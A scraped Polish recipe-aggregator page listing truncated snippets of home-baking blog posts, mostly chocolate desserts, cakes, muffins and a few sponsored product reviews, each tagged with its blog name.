okrągłe biszkopciki (zachowujemy ok. 2 cm odstępy). Pieczemy w 170 st C. przez ok. 20 min., do zrumienienia. dodatkowo: 1 galaretka 250 -300 ml gorącej wody 150-200 g czekolada deserowa 1-2 łyżki oleju wykonanie: Galaretkę rozpuszczamy w gorącej wodzie, przelewamy do płaskiego naczynia (tak aby galaretka miała ok. 2-3 mm grubości) wyłożonego folią spożywczą i odstawiamy(...)całkowitego stężenia. Następnie z galaretki wycinamy kółeczka o średnicy mniejsze od biszkopcików. Nakładamy na płaską część biszkopcika. Czekoladę rozpuszczamy z olejem w kąpieli wodnej. Przestudzoną czekoladą polewamy biszkopciki z galaretką. Schładzamy w lodówce

Domowy Smak Jedzenia
Metrowiec staruszek 128

kakaowy 2 łyżki ( kakao) pół łyżeczki zmielonej wanilii  Masa budyniowa: 1 budyń waniliowy z cukrem ( 40 g ) mleko 0,5 litra masło 300 g Polewa: 2 tabliczki czekolady mlecznej 5 łyżek mleka lub 7( zobaczycie w trakcie rozpuszczania)  Wykonanie : Do misy wbijamy jaja temp pokojowa, miksujemy je z cukrem na puch ( masa potraja się). Przesiewamy mąkę(...)Masa budyniowa: Budyń gotujemy według tego co jest napisane na opakowaniu. Masło miksujemy na masę i dodajemy po łyżce budyniu zimnego. Tak powstaje krem budyniowy. Polewa: Rozpuszczamy 2 tabliczki czekolady( smak wedle gustu, ja dałam mleczną) z mlekiem. Polewamy metrowa czekoladą i potem zostawiamy do zastygnięcia. Wstawiłam do lodówki na 2 godzinki a potem zjedliśmy

Różowa kuchnia
"Diamonds are a girl's best friend" - Kawa Diamond od Cafe Ina 131

Norma Jeane Mortenson kochała diamenty i luksus. To ona stoi na czele hasła, że diamenty to najlepsi przyjaciele kobiety. Dodałabym do tego jeszcze czekoladę, tort bezowy, dobrą kawę, wygodny fotel i kilka płyt jazzowych. A skoro już o diamentach mowa, to przedstawiam Wam jeden z nich - Kawa Diamond od Cafe Ina. " Ważne jest żeby uzmysłowić potencjalnym klientom że świeżą kawę(...)spod swoich skrzydeł niesamowicie aromatyczną kawę. Nie perfumowaną, czystą i nieziemsko aromatyczną. Diamond to stuprocentowa arabica, która kusi mnie nawet trzema filiżankami dziennie. Delikatna w smaku, przyjemna, kończąca wyczuwalną czekoladą. To co kobiety kochają najbardziej - diamenty i czekolada - wspaniałe połączenie. Aromat kawy nie ma sobie równych. Cieszę się bardzo z tego odkrycia, ponieważ kawy Cafe Ina można kupić również

Gotowanie i blogowanie
Ciasto W-Z tylko kremu mi zabrakło... 156

szklanki wrzątku) 1 łyżka żelatyny (lub 2,5 łyżki żelatyny)    550ml zaparzonej czarnej herbaty 3 łyżeczki soku z cytryny 3 łyżki koniaku (opcjonalnie)  200g kremówki 100g czekolady (jedna tabliczka) Białka miksujemy na sztywną pianę, pod koniec partiami dodajemy cukier i miksujemy aż masa będzie gładka i lśniąca. Zmniejszamy obroty miksera, dodajemy po dwa żółtka, miksujemy do połączenia(...)obawy, ciasto wchłonie taką ilość. Kremówkę nakładamy na ciasto, układamy drugi blat ciasta i nasączamy go resztą ponczu. Lekko dociskamy.  W rondelku podgrzewamy 200g kremówki, dodajemy pokruszoną tabliczkę czekolady (użyłam z orzeszkami) i mieszamy do uzyskania gładkiej czekolady. Ciasto oblewamy przygotowaną polewą czekoladową, wstawiamy do lodówki. Po 20 minutach dekorujemy wierzch ciasta małymi różyczkami, wkładamy ponownie do lodówki

Gotowanie i blogowanie
Czerwone babeczki waniliowe - muffinki walentynkowe 144

Piękne, intensywnie czerwone i takie romantyczne - muffinki walentynkowe. Zwieńczone kandyzowaną wiśnią, czekoladą i bitą śmietaną.  Składniki: 250g mąki pszennej 2 łyżeczki proszku do pieczenia 1 szklanka cukru  1 laska wanilii 1 szklanka mleka 1/2 szklanki oleju 2 jajka 1 łyżeczka czerwonego barwnika w żelu 250g śmietanki 30% 200g mascarpone wiśnie kandyzowane starta czekolada Laskę wanilii rozcinamy, wyskrobujemy nasionka(...)piekarnika. Pieczemy przez 15-20 minut (do suchego patyczka). Upieczone studzimy. Kremówkę ubijamy, pod koniec dodajemy partiami mascarpone. Na ostudzonych babeczkach robimy kleks z masy, ozdabiamy startą czekoladą i wiśnią

Gotowanie i blogowanie
Ciastka digestive 101

płatków owsianych 1 szklanka mąki orkiszowej (użyłam typ 2000) 1/3 szklanki cukru 1 łyżeczka proszku do pieczenia 100 gram masła szczypta soli 3-4 łyżki mleka polewa: 100 gram czekolady deserowej + 2 łyżki masła + 2 łyżki kremówki Płatki owsiane miksuję na pył. Dodaję mąkę, proszek do pieczenia, cukier, masło, sól i mleko i ponownie miksuję całość w malakserze na jednolite(...)papierem do pieczenia w niewielkich odstępach od siebie. Blachę z ciastkami umieszczam w piekarniku nagrzanym do 175 stopni na 15-18 minut. Upieczone ciastka studzę. W kąpieli wodnej rozpuszczam czekoladę z dodatkiem masła i kremówki. Gotową polewą oblewam ciastka i odstawiam by czekolada stężała. Smacznego, Klaudia

Mango Papaja
DWUKOLOROWE UCIERANE CIASTO Z GRUSZKAMI. WANILIOWO- CZEKOLADOWE 174

robi się szybko i nie trzeba się martwić czy na pewno wyjdą, bo zawsze się udają! Tym razem też takie proponuje wilgotne ciasto, z ziarenkami prawdziwej wanilii i hiszpańskiej czekolady. Do tego nasze polskie gruszki, słodziutkie i aromatyczne. Ciasto jest łatwe i nie zajmuje dużo czasu. Można zrobić rano, a na popołudniową kawkę już będzie do jedzenia! Zapraszam! SKŁADNIKI(...)masła - 3 jajka - 120 ml mleka - 260 g mąki pszennej - 170 g cukru - 2,5 łyżeczki proszku do pieczenia - 1 laska wanilii - 3 czubate łyżki czekolady w proszku (ja użyłam hiszpańskiej) - 1/3 łyżeczki soli - 3 gruszki, pokrojone w ćwiartki Masło roztapiamy w rondelku. Dodajemy cukier, mieszamy aby się rozpuścił. Dodajemy mleko, sól. Masę mieszamy i odstawiamy do wystudzenia. Masa musi

SMYKWKUCHNI
Sernik z owocami i bitą śmietaną 219

sera do serników 1 budyń waniliowy 2 łyżki konfitury (najlepiej takiej jakich używamy owoców) 1 łyżka soku z cytryny 300 g owoców (mogą być mrożone) Śmietana: 100 g białej czekolady 125 g sera do serników 200 ml śmietany kremówki Przygotowanie: Wszystkie składniki spodu mieszamy z dwoma łyżkami wody i wyrabiamy gładkie ciasto. Blachę o średnicy ok 24 cm wykładamy cienką(...)masę serową. Na wierzch wykładamy owoce. Ciasto pieczemy w temperaturze 180 ‚C (termoobieg 160’C) przez około jednej godziny. Wyjmujemy ciasto z pieca i czekamy, aż ostygnie. Rozpuszczamy czekoladę w kąpieli wodnej i ostawiamy, żeby się wystudziła, ale nie stężałą, w tym celu często ją mieszamy. W między czasie ubijamy śmietanę na sztywną pianę. Mieszamy ubitą śmietanę z czekoladą

KasiaiKrzysiu.pl
Muffinki kokosowe z Malibu 157

szklanki mąki 2 łyżeczki proszku do pieczenia 1/2 szklanki cukru 1 łyżeczka cukru wanilinowego 1/3 szklanki oleju 2 jajka 1 szklanka maślanki 4 łyżki Malibu 100 g białej czekolady 50 g wiórek kokosowych 2 łyżki mleka Sposób przygotowania: 1. W jednej misce połączyć suche składniki, czyli mąkę, cukier, cukier wanilinowy, proszek do pieczenia oraz pokruszone batoniki. W drugiej misce wymieszać(...)przełożyć do mokrych i dokładnie wymieszać. Masę nakładać do foremek na muffinki wyłożonych papilotkami do 3/4 ich wysokości. Piec w piekarniku nagrzanym do 200 stopni przez ok. 20 minut. Czekoladę roztopić na parze i wymieszać z mlekiem. Ostudzone muffinki polać czekoladą i posypać wiórkami kokosowymi. Smacznego

Na Ciasteczkowych Papierach
Red Velvet Cake 160

miało dużą górkę).  Ostudzić i wyjąć z formy.   Ciasto czekoladowe Składniki: 125 g masła w temp. pokojowej 125 g cukru (pudru lub drobnego) 150 g gorzkiej czekolady 125 g żółtka (5 - 6 sztuk) 1 łyżeczka ekstraktu z wanilii 180 g białka (5 - 6 sztuk) 90 g cukru pudru szczypta soli 125 g mąki pszennej   Wykonanie(...)Formę wyłożyć papierem do pieczenia.  Piekarnik rozgrzać do 170 stopni.  Czekoladę rozpuścić w kąpieli wodnej lub mikrofali i przestudzić.  Masło utrzeć z cukrem (125 g) na puszystą masę.  Powoli dodawać przestudzoną czekoladę cały czas mieszając.  Następnie dodawać żółtka i wanilię.  W drugiej misce ubić na sztywno białka z solą i 90 g cukru

Sto kolorów kuchni
Pyszna marcepanowo czekoladowa kawa deserowa 184

pyszną marcepanowo czekoladową kawę deserową. Składniki: (na 1 pucharek) 2 łyżeczki rozpuszczalnej kawy marcepanowej Skworcu 100 ml wody 150 ml mleka 1 czubata łyżka startej na drobnych oczkach mlecznej czekolady bita śmietana czekoladowa posypka Przygotowanie: Zagotowujemy wodę. Do szklanki wsypujemy 2 łyżeczki rozpuszczalnej kawy marcepanowej i zalewamy ją 100 ml gorącej wody. Mieszamy do rozpuszczenia kawy. Następnie do naszej kawy(...)dodajemy łyżkę startej mlecznej czekolady, znów mieszamy. Tak przygotowaną marcepanowo-czekoladową kawę lekko studzimy i wlewamy do pucharka (przed wlaniem warto całość znów przemieszać). Następnie dodajemy do całości zimne mleko. Na wierzch pucharka dajemy bitą śmietanę. Całość posypujemy czekoladową posypką (u mnie wersja z różnymi rodzajami czekolady). Od razu podajemy. W przepisie wykorzystałam marcepanową kawę rozpuszczalną od Skworcu. Osobiście polecam

Słodkie okruszki
Maślane ciasteczka walentynkowe 150

Można je wykonać w dowolnym kształcie. Jeśli posiadacie np. serca czy gwiazdki w dwóch rozmiarach to też będą świetne. Ciasteczka są bardzo kruche i bardzo maślane. Polecam! Składniki: 60g czekolady (gorzkiej lub mlecznej) 300g mąki pszennej (2 szklanki) 150g masła (miękkiego) łyżka mleka 1,5 łyżeczki proszku do pieczenia jajko 100g cukru (ok. pół szklanki) (w oryginalnym przepisie 150g) Wykonanie(...)Czekoladę rozpuścić w kąpieli wodnej. Mąkę przesiać i wymieszać z proszkiem do pieczenia. Dodać masło, jajko, cukier oraz łyżkę mleka. Ubić całość mikserem na jednolitą masę. Podzielić ciasto n dwie części. Jedną zawinąć w folię spożywczą i włożyć do lodówki. Do drugiej dodać rozpuszczoną czekoladę i zagniatać, aż do momentu gdy masa stanie się jednolicie brązowa. Także brązową część włożyć

Mania Wypiekania
Tort Tiramisu 179

kremówki 100 g cukru pudru   Wykonanie [MASA]: Schłodzoną kremówkę ubijamy na sztywno, pod koniec ubijania dodajemy cukier. Dodać serek mascarpone i szybko wymieszać.   Dodatkowo: 100 g gorzkiej czekolady, startej na tarce o dużych oczkach   Wykonanie [TORT]: Jeden blat biszkoptu kładziemy na tortownicy. Nasączamy 1/3 mieszanki kawy z likierem. Wykładamy 1/3 masy z mascarpone, którą posypujemy 1/3 wiórków(...)gorzkiej czekolady. Następnie wykładamy 2 blat, nasączamy, wykładamy 1/3 masy mascarpone, posypujemy wiórkami gorzkiej czekolady. Z trzecim, wierzchnim blatem postępujemy tak samo jak z poprzednimi. Tort kończymy masą z mascarpone posypaną ostatnią częścią wiórków. Boki również smarujemy masą. Należy schłodzić ciasto przez ok. 3-4 godziny w lodówce

psgotujemy
Rogaliki Drożdżowe z Konfiturą 275

rogaliki. Wyszły mięciutkie, puszyste, idealne na drugie śniadanie lub podwieczorek. Smak dzieciństwa gwarantowany. U nas z nadzieniem z konfitury różanej, która została mi jeszcze po pączusiach. Możecie dodać kostkę czekolady, nutellę, w zależności na co macie ochotę. Bardzo Wam polecam. Przygotujecie je w dość szybkim czasie a dzieci i pozostali domownicy będę bardzo zadowoleni i ucieszeni. Składniki: 1 kg mąki(...)pszennej 250 g rozpuszczonego, letniego masła 50 g świeżych drożdży 2 jajka 200 g cukru kryształu 500 ml letniego mleka szczypta soli Dodatkowo: 1 słoiczek konfitury (kostki czekolady bądź nutelli) jajko do posmarowania cukier puder do posypania Mleko podgrzewamy. W ciepłym rozpuszczamy drożdże, zasypujemy cukrem i 5 łyżkami mąki. Odstawiamy pod przykryciem w ciepłe miejsce. Rozczyn powinien zacząć się pienić

Made By Mom And Son
Brownies babeczki walentynkowe 189

babeczki to jego ulubiony walentynkowy deser . Do serca przez żołądek…Jak to powiedzenie się sprawdza! Brownies babeczki Składniki: na 10 babeczek 150 g masła 100 g gorzkiej czekolady, u mnie 70% kakao 250 g cukru 1 łyżeczka waniliowego ekstraktu 1 łyżeczka nescafé 3 jajka, 100 g mąki 50 g zmielonych migdałów Truskawkowe serca 500 g mrożonych truskawek(...)proszku Krem truskawkowy 300 ml śmietanki, u mnie 39% 200 ml truskawkowej galaretki 2 łyżki cukru pudru 1 łyżeczka soku z cytryny Rozpuść masło z połamaną na kawałki czekoladą i kawą, najlepiej w kąpieli wodnej. Zmiksuj jajka z cukrem i wanilią Dodaj czekoladą mieszankę i zmiksuj raz. Wymieszaj mąkę ze zmielonymi migdałami i dodaj do masy. Wymieszaj delikatnie i napełnij

codojedzenia
ZAKOCHANE BABECZKI 109

zakończenie kolacji we dwoje wybierzmy przepyszny deser z produktami, które od wieków uważane są za ... sprzyjające miłości np. czekolada oraz wanilię.  Składniki: 2 szklanki mąki pszennej 3 łyżeczki proszku do pieczenia Dr. Oetker 1 łyżka cukru waniliowego Dr. Oetker  3/4 szklanki cukru 1 łyżka niesłodzonego kakao 75 g rozpuszczonej margaryny 3 jajka 3/4 szklanki mleka 1 olejek waniliowy(...)Oetker 200 g posiekanej gorzkiej czekolady  Dekoracja: cukier puder waniliowy Przygotowanie: Przygotować dwie miski. Do jednej miski przesiać mąkę pszenną , proszek do pieczenia Dr. Oetker, kakao. W drugiej misce ubić jajka z cukrem  i cukrem waniliowym Dr. Oetker. Do ubitych jajek dodać rozpuszczoną margarynę, cały olejek waniliowy Dr. Oetker oraz mleko - wymieszać za pomocą różki (trzepaczki) lub łyżki

Ciastka - domowe słodkości
Skradnij jej serce! Walentynkowe smakołyki 180

kobiecych serc? Mięskiem? No cóż, do mojego na pewno - ale nie do wszystkich! ;) Nie martwcie się jednak, mam dla Was Panowie wyjątkowy przepis na zdobycie serca ukochanej! Magiczny składnik: CZEKOLADA! ;) Kobiety kochają czekoladę i mimo wiecznych diet - zawsze skuszą się na deser o tym smaku! A jeśli chcecie tym sposobem zdobyć względy wybranki - mam dla Was jeszcze jedną dobrą wiadomość(...)bardzo dojrzałe awokado 1 banan 2 owoce kiwi 2 łyżki dobrej jakości kakao 2 łyżeczki sproszkowanej stewii płatki kokosowe 100ml mleczka kokoswego opcjonalnie 25g odżywki białkowej o smaku czekolady Do dzieła: Składników mamy sporo - ale sprawa jest banalnie prosta i zdążycie wyczarować słodki deser, kiedy wasza ukochana będzie pudrować sobie nosek ;) Obrane kiwi kroimy w plastry i układamy (albo próbujemy

Spektrum Smaku
Tort bez glutenu, bez laktozy, bez jajek 65

mleka ryżowego 4 łyżki kakao Składniki na krem: pół szklanki kaszy jaglanej mleko kokosowe (tylko gęsta część) 10 łyżek wiórek kokosowych 2 łyżki agawy 2 listki żelatyny Składniki na czekoladę: 10 daktyli 1 szklanka mleka ryżowego 2 łyżki oleju kokosowego 3 łyżki kakao Ciasto udekorowałam blanszowanymi migdałami oraz płatkami migdałów. Ciasto: Do miski wsypałam mąkę ryżową, gryczaną i kasztanową. Dodałam(...)rozpuścić w wodzie i gotować ok 5 minut). Do kaszy dodałam gęstą część mleka kokosowego, wiórki, żelatynę oraz agawę. Wszystkie składniki zmiksowałam za pomocą miksera. Krem wstawiłam do lodówki. Czekolada: Daktyle zalałam mlekiem i gotowałam pod przykryciem przez 15 min. Następnie zmiksowałam za pomocą blendera, dodałam kakao i wymieszałam. Na pierwszą część ciasta, z kakaem wyłożyłam schłodzony krem, następnie drugą

nietadieta
Tort bez laktozy, bez glutenu, bez jajek 118

szklanki mleka ryżowego 4 łyżki kakao Składniki na krem: 3/4 szklanki kaszy jaglanej mleko kokosowe (tylko gęsta część) 10 łyżek wiórek kokosowych 2 łyżki agawy Składniki na czekoladę: 10 daktyli 1 szklanka mleka ryżowego 2 łyżki oleju kokosowego 3 łyżki kakao Dżem do przełożenia Ciasto udekorowałam blanszowanymi migdałami oraz płatkami migdałów Ciasto: Do miski wsypałam mąkę ryżową, gryczaną i jaglaną(...)miękkości. Po ugotowaniu przełożyłam do miski i wystudziłam. Do kaszy dodałam gęstą część mleka kokosowego, wiórki oraz agawę. Wszystkie składniki zmiksowałam za pomocą miksera. Krem wstawiłam do lodówki. Czekolada: Daktyle zalałam mlekiem i gotowałam pod przykryciem przez 15 min. Następnie zmiksowałam za pomocą blendera, dodałam kakao i wymieszałam. Na pierwszą część ciasta, bez kakaa wyłożyłam dżem, na drugą, kakaową wyłożyłam

nietadieta
Ciasto przekładane kremem. Bez glutenu, bez laktozy, wegańskie 85

szklanki mleka ryżowego 2 łyżki kakao Składniki na krem: 3/4 szklanki kaszy jaglanej mleko kokosowe (tylko gęsta część) 10 łyżek wiórek kokosowych 2 łyżki agawy Składniki na czekoladę: 15 daktyli bez pestek 1 szklanka mleka ryżowego 3 łyżki kakao Dżem do przełożenia Ciasto: Do miski wsypałam mąkę ryżową, kokosową i gryczaną. Dodałam proszek do pieczenia, olej, mleko ryżowe oraz agawę(...)miękkości. Po ugotowaniu przełożyłam do miski i wystudziłam. Do kaszy dodałam gęstą część mleka kokosowego, wiórki kokosowe oraz agawę. Wszystkie składniki zmiksowałam za pomocą blendera. Krem wstawiłam do lodówki. Czekolada: Daktyle zalałam mlekiem i gotowałam pod przykryciem przez 10 min. Następnie zmiksowałam za pomocą blendera, dodałam kakao i wymieszałam. Na pierwszą, kakaową część ciasta, wyłożyłam cienką warstwę dżemu, na dżem

nietadieta
Tort urodzinowy bez glutenu, bez laktozy i bez jajek 102

łyżki kakao Składniki na krem: 1 szklanka kaszy jaglanej mleko kokosowe (tylko gęsta część) 10 łyżek wiórek kokosowych 2 łyżki agawy wiśnie (ja dałam z kompotu wiśniowego) Składniki na czekoladę: 10 daktyli 1 szklanka mleka ryżowego 2 łyżki oleju kokosowego 3 łyżki kakao dżem do przełożenia śmietana ryżowa cukier kokosowy kilka kruchych ciastek (ja dałam ryżowe) Ciasto: Do miski wsypałam(...)mleka kokosowego, wiórki oraz agawę. Wszystkie składniki zmiksowałam za pomocą miksera. Krem podzieliłam na dwie części. Do jednej części dodałam wiśnie i ponownie zmiksowałam. Gotowy krem wstawiłam do lodówki. Czekolada: Daktyle zalałam mlekiem i gotowałam pod przykryciem przez 15 min. Następnie zmiksowałam za pomocą blendera, dodałam kakao, olej kokosowy i wymieszałam. Krem do ozdobienia: Śmietanę kokosową z dodatkiem cukru brązowego

nietadieta
Sernik z nerkowców i kaszy jaglanej. Bez laktozy, bez glutenu, bez jajek 111

rodzynki/suszone jeżyny Składniki na spód: 1 szklanka mąki ryżowej 0.5 szklanki mąki kokosowej 4 łyżki mąki ziemniaczanej 150 g masła kokosowego BIO 5 łyżek oleju agawa Składniki na czekoladę: 10 daktyli 1 szklanka mleka ryżowego 3 łyżki kakao Dodatkowo: mus truskawkowy Orzechy nerkowca zalałam wodą i odstawiłam na noc, by napęczniały. Kruchy spód: Składniki na kruche ciasto wymieszałam(...)kokosowe, ksylitol, agawę, rodzynki oraz suszone jeżyny. Wszystkie składniki dokładnie wymieszałam.  Masę sernikową przełożyłam na wcześniej upieczony spód i wstawiłam do piekarnika na 50 min, temp. 180°C. Czekolada: Daktyle zalałam mlekiem i gotowałam pod przykryciem przez 15 min. Następnie zmiksowałam za pomocą blendera, dodałam kakao i wymieszałam. Na upieczony i schłodzony sernik wyłożyłam czekoladę oraz mus truskawkowy

nietadieta
Tort bezglutenowy, bez laktozy i bez jajek 130

mleka ryżowego Składniki na krem: 1 szklanka kaszy jaglanej mleko kokosowe (tylko gęsta część) 10 łyżek wiórek kokosowych 3 łyżki agawy wiśnie (ja dałam z kompotu wiśniowego) Składniki na czekoladę: 10 daktyli 1 szklanka mleka ryżowego 3 łyżki kakao Dodatkowo: dżem do przełożenia posypka kolorowa Ciasto: Wszystkie składniki na ciasto wymieszałam za pomocą miksera. Ciasto podzieliłam na trzy części. Tortownicę(...)mleka kokosowego, wiórki oraz agawę. Wszystkie składniki zmiksowałam za pomocą blendera. Krem podzieliłam na dwie części. Do jednej części dodałam wiśnie i ponownie zmiksowałam. Gotowy krem wstawiłam do lodówki. Czekolada: Daktyle zalałam mlekiem i gotowałam pod przykryciem przez 15 min. Następnie zmiksowałam za pomocą blendera, dodałam kakao i wymieszałam. Na pierwszą część ciasta wyłożyłam krem wiśniowy. Na drugą część wyłożyłam

nietadieta
Ciasto czekoladowe z czekoladą :) bez laktozy, bez mąki pszennej 166

Ciasto czekoladowe z czekoladą tortownica o średnicy 21 cm Składniki na ciasto: 1 szklanka mąki orkiszowej (uwaga!zawiera gluten, można zastąpić ryżową) 1/3 szklanki mąki kokosowej 2/3 szklanki mąki jaglanej 150 g masła kokosowego 1 szklanka mleka ryżowego 2 jajka 3 łyżki kakao ksylitol/agawa Polewa: 12 daktyli bez pestek 1 szklanka mleka ryżowego 2 łyżki kakao pół łyżki masła kokosowego(...)gęste, należy dodać mleka.   Daktyle zalałam mlekiem i dusiłam na wolnym ogniu ok 8 min. Do lekko rozgotowanych daktyli dodałam kakao, masło kokosowe i wszystko zblendowałam na pyszną czekoladę:) Upieczone i wystudzone ciasto przekroiłam na połowę i dodałam dżem. Na górę natomiast dodałam pyszną i zdrową czekoladę

nietadieta
chatka maxi kinga 169

maxi king! A jak smakuje? Tego się nie da opisać, to trzeba spróbować! Ciasto wygląda niezwykle apetycznie: trójkątne kawałki z karmelowym sercem, otulone mlecznym kremem, polewa z gorzkiej czekolady i grubo-siekane orzechy na wierzchu-mmmm! Aby ciasto nie było zbyt słodkie - mój mężczyzna nie przepada za nadmiarem słodyczy...-do przygotowania ciasta użyłam krakersów, świetnie komponują się z całą resztą(...)składniki: krem: 200 g masła 280 serka waniliowego (np Danio) 150 g serka naturalnego (np bieluch) 200 g mleka w proszku ponadto: 36 słonych krakersów 100 g ciemnej, gorzkiej czekolady odrobina mleka 200 g orzechów włoskich 200 g karmelu (z puszki, polecam Gostyń, moim zdaniem jest najlepszy) Wszystkie składniki kremu powinny mieć temperaturę pokojową. Masło utrzeć na puch, stopniowo dodając

6niebo
Czekoladki kokosowe z wafelkami zbożowymi 117

Szybkie do zrobienia czekoladki kokosowe z wafelkami ryżowymi, a dodam, że są pyszne :) Potrzebujecie tylko 3 minuty na ich zrobienia i kilka minut na schłodzenie. Składniki: 200 g gorzkiej czekolady, 2 łyżki mleka, 5 łyżek wiórek kokosowych, 50 g piramidek zbożowych Popcrop . Przygotowanie:  Do rondelka wlewamy mleko i wsypujemy połamaną czekoladę. Podgrzewamy na małym ogniu, aż do rozpuszczenia się(...)czekolady. Dodajemy wiórki kokosowe i pokruszone wafelki zbożowe. Całość mieszamy. Łyżką nakładamy na papier do pieczenia małe czekoladki. Odstawiamy do zastygnięcia- możemy proces ten przyspieszyć schładzając w lodówce czekoladki

Aga w kuchni
Brownie (z olejem rzepakowym) w pucharkach z truskawkami i bitą śmietaną 134

proszę o jego zdjęcie :). Wyślij je na adres konsek_ewa@o2.pl lub zostaw w komentarzu na facebooku. Fotografię opublikuję na facebookowym profilu Domowej cukierni Ewy :) Składniki na ciasto: 100 g gorzkiej czekolady 7 pełnych łyżek oleju rzepakowego 1 łyżeczka ekstraktu waniliowego 2 jajka 1/3 szklanki mąki pszennej 1 łyżeczka proszku do pieczenia 125 g brązowego cukru 75 g cukru pudru(...)śmietany 30% truskawki Czekoladę rozpuścić w kąpieli wodnej, odłożyć do wystudzenia. Jajka roztrzepać widelcem, dodać do nich olej rzepakowy, ekstrakt waniliowy i cukry. Wymieszać. Mąkę przesiać z proszkiem do pieczenia, połączyć z pozostałymi składnikami, czyli przestudzoną czekoladą i masą jajeczną. Zmiksować na gładko. Blachę o wymiarach 20 x 20 cm wyłożyć papierem do pieczenia, wyłożyć masę czekoladową. Piec w temperaturze

Domowa cukiernia Ewy
Mus czekoladowy z mascarpone. 150

można się nim zachwycić. Polecam i pozdrawiam Was cieplutko. MUS CZEKOLADOWY Z MASCARPONE. Składniki: 200 g śmietany kremówki 30% 250 g serka mascarpone 2 łyżki nutelli 50 g gorzkiej czekolady 1 - 2 łyżki nalewki jagodowej z lawendą płatki migdałowe do dekoracji Sposób przyrządzania: Gorzką czekoladę rozpuścić w kąpieli wodnej i ostudzić. Śmietanę kremówkę ubić na sztywno i partiami dodawać(...)schłodzonej czekolady. Na końcu dodać nutellę i nalewkę jagodową z lawendą, dokładnie wymieszać. Przełożyć mus do pucharków, przybrać płatkami migdałowymi i schłodzić w lodówce. Smacznego

Zakątek rozkoszy kulinarnych
Powrót do formy po kontuzji. Ćwiczenia i niezastąpione produkty proteinowe. 169

zabrałam ze sobą waniliową wersję protein baton i... po prostu się w niej zakochałam. Nawet nie wiem, kiedy został mi po batoniku tylko papierek ;) W smaku przypomina połączenie białej czekolady z jogurtem. Nie jest za słodki, jest po prostu smaczny. A co najważniejsze dostarczył mi energii na powrót (po treningu) do codziennych obowiązków. Zdecydowanie Wam polecam te batoniki. Niedługo(...)smakach. Ja osobiście najbardziej zasmakowałam się w waniliowym batoniku. Dał mi uczucie sytości, a jego smak w pewnym stopniu przypominał mi ulubioną (a jakże tuczącą) białą czekoladę. Veggie Protein - to chrupiący, naturalny baton z nasion zbóż i warzyw z oliwą z oliwek, który ma znakomite wartości odżywcze (węglowodany złożone z pełnoziarnistych zbóż i warzyw, zdrowe tłuszcze, wysoki błonnik

Słodkie okruszki
Koktajl bananowy z chia i czekoladą 142

Dzisiaj zaserwowałam mojemu dziecku koktajl bananowy z chia i czekoladą. Koktajl bez dodatku rafinowanego cukru, pożywny i zdrowy. Nasiona chia są nieodzownym składnikiem naszej codziennej diety. Zdrowo jem nie tylko ja, ale i reszta rodziny. Zresztą tak smaczny koktajl przypadnie każdemu do smaku. Koktajl bananowy naturalnie słodki, bez konserwantów i sztucznych zagęszczaczy. Samo zdrowie! Koktajl bananowy Składniki: 1 porcja(...)mały banan 250 ml mleka 1 łyżka chia 1 łyżka miodu 1 łyżka utartej czekolady, u mnie 70% kakao Wszystkie składniki na koktajl zmiksuj w blenderze. Dla smakoszy zimnych napojów proponuję wrzucić kilka kostek lodu i zmiksować razem ze składnikami na koktajl. Koktajl będzie wtedy zimny, a konsystencją będzie przypominał milkshake. Nasiona chia są nie tylko bardzo bogate w odżywcze

codojedzenia
Wyniki konkursu - Chrrrupiący konkurs z E.Wedel 212

dzięki tym przepisom nie spałam pół nocy, myśląc i rozmyślając. Kto ma wygrać?  Bardzo dziękuję Wszystkim za wzięcie udziału, a nagrody wędrują do: Heleny Nowel - Gulasz wołowy z czekoladą i chilli Pawła N. - Popcorn gryczany z czekoladą Teresy Pankiewicz - Stek z chilli, kawą i czekoladą Gratuluję wygranym i czekam na Wasze dane adresowe razem z numerem telefonu

Niezły Młynek
pomarańczowa babka gotowana 127

cudowna, że mogę śmiało powiedzieć, że pieczone babki mogą się przy niej schować. Miękka, puszysta, delikatna, wilgotna i bez suchej skórki. A do tego obłędnie pachnąca pomarańczami. Wykończyłam ją czekoladą z orzechami, co okazało się strzałem w dziesiątkę. Niby zwykła babka ale dla mnie to wypiek doskonały w swej prostocie.  Składniki: 6 jajek szklanka cukru 250 g masła(...)wysmarowania foremki 1 i 1/4 szklanki mąki pszennej 3/4 szklanki mąki ziemniaczanej 1 łyżeczka proszku do pieczenia skórka otarta z dwóch pomarańczy 100 g czekolady mlecznej z orzechami 2 łyżki mleka Miękkie masło utrzeć na puch a następnie powoli dosypywać cukier. Kiedy masa będzie utarta na puch wbijać po jednym jajku. Mąkę, mąkę ziemniaczaną i proszek do pieczenia wymieszać

Domowa Cukierenka-Domowa Kuchnia
Domowe ciasto "Kinder mleczna kanapka" 160

łyżki mleka Krem: -> 250g masła -> ½ szklanki mleka -> 1 łyżka cukru -> 1 łyżeczka cukru waniliowego -> 2 szklanki mleka w proszku Polewa: -> 100 g gorzkiej czekolady -> 50g masła Wykonanie:  Biszkopt: Oddzielamy białka od żółtek. Białka z dodatkiem soli ubijamy na sztywną pianę w wysokim naczyniu. Ciągle miksując dodajemy stopniowo cukier. Gdy już składniki dobrze(...)gęsta można dodać więcej mleka).  * pierwotnie w przepisie jest znacznie większa ilość cukru, jednak wg mnie wtedy ciasto będzie zbyt słodkie. Polewa: Masło przekładamy do rondelka i wrzucamy czekoladę. Na małym palniku mieszamy, aż całość się rozpuści. Wykończenie: Układamy 1 warstwę ciasta, na nią wykładamy masę i równie rozsmarowywujemy. Przykrywamy drugim plackiem, który polewamy czekoladą. Wkładamy do lodówki

Jedz zdrowo żyj zdrowo!
Sernik jagodowy z polewą jagodową 186

zdjęcie :). Wyślij je na adres konsek_ewa@o2.pl lub zostaw w komentarzu na facebooku. Fotografię opublikuję na facebookowym profilu Domowej cukierni Ewy :) Składniki na spód: 150 g herbatników 75 g mlecznej czekolady 1 łyżka kakao 85 g masła Czekoladę rozpuścić w kąpieli wodnej, masło rozpuścić, przestudzić. Herbatniki zmielić na mniejsze, bardzo drobne kawałki. Dodać płynną czekoladę, kakao i rozpuszczone masło, wymieszać

Domowa cukiernia Ewy
Kruche ciasteczka żytnie z czekoladą 171

